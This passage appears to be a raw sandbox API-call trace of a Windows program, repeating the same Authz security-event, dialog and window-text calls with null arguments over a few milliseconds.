dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.460] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.460] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.460] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.460] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.460] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.460] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.460] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.460] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.460] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.460] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.460] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.460] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.460] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.460] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.460] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.460] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.461] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.461] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.461] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.461] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.461] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.461] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.461] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.461] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.461] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.461] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.461] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.461] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.461] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.461] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.461] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.461] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.461] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.461] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.461] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.461] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.461] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.461] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.461] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.461] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.461] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.461] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.461] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.461] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.461] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.461] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.461] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.461] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.461] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.461] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.461] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.461] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.461] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.461] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.461] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.461] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.461] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.462] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.462] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.462] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.462] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.462] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.462] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.462] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.462] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.462] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.462] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.462] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.462] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.462] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.462] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.462] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.462] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.462] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.462] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.462] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.462] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.462] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.462] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.462] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.462] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.462] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.462] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.462] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.462] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.462] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.462] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.462] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.462] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.462] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.462] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.462] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.462] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.462] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.462] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.462] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.462] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.462] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.463] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.463] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.463] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.463] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.463] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.463] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.463] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.463] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.463] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.463] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.463] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.463] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.463] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.463] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.463] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.463] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.463] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.463] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.463] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.463] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.463] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.463] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.463] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.463] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.463] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.463] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.463] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.463] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.463] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.463] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.463] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.463] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.463] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.463] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.463] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.463] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.463] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.463] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.463] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.463] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.463] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.463] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.464] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.464] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.464] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.464] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.464] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.464] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.464] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.464] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.464] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.464] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.464] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.464] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.464] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.464] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.464] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.464] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.464] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.464] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.464] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.464] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.464] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.464] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.464] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.464] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.464] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.464] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.464] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.464] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.464] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.464] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.464] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.464] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.464] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.464] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.464] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.464] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.464] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.464] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.464] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.464] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.464] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.465] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.465] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.465] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.465] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.465] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.465] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.465] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.465] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.465] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.465] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.465] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.465] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.465] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.465] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.465] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.465] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.465] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.465] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.465] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.465] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.465] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.465] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.465] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.465] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.465] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.465] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.465] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.465] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.465] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.465] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.465] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.465] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.465] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.465] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.465] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.465] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.465] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.465] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.465] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.465] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.465] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.466] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.466] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.466] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.466] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.466] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.466] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.466] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.466] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.466] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.466] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.466] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.466] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.466] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.466] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.466] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.466] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.466] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.466] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.466] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.466] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.466] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.466] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.466] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.466] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.466] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.466] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.466] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.466] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.466] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.466] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.466] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.466] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.466] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.466] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.466] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.466] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.466] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.466] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.466] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.466] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.467] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.467] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.467] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.467] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.467] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.467] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.467] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.467] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.467] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.467] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.467] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.467] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.467] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.467] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.467] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.467] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.467] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.467] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.467] DefMDIChildProcA 